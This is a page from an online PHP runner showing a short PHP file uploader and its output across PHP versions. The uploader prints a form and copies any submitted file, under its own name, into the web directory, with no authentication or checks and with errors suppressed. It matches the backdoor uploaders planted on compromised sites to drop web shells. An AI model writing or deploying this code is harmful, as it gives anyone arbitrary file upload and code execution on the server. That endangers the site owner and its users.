3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"> <input name="_upl" type="submit" id="_upl" value="Upload"> </form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Archivo subido!</b><br><br>'; } else { echo '<b>Upload Fail!</b><br><br></font>'; } } ?>
based on mUASN
Output for 5.3.0 - 7.1.0
<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"> <input name="_upl" type="submit" id="_upl" value="Upload"> </form> Notice: Undefined index: _upl in /in/td1ir on line 5
Output for 4.3.0 - 5.2.17
<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"> <input name="_upl" type="submit" id="_upl" value="Upload"> </form> Notice: Undefined index: _upl in /in/td1ir on line 5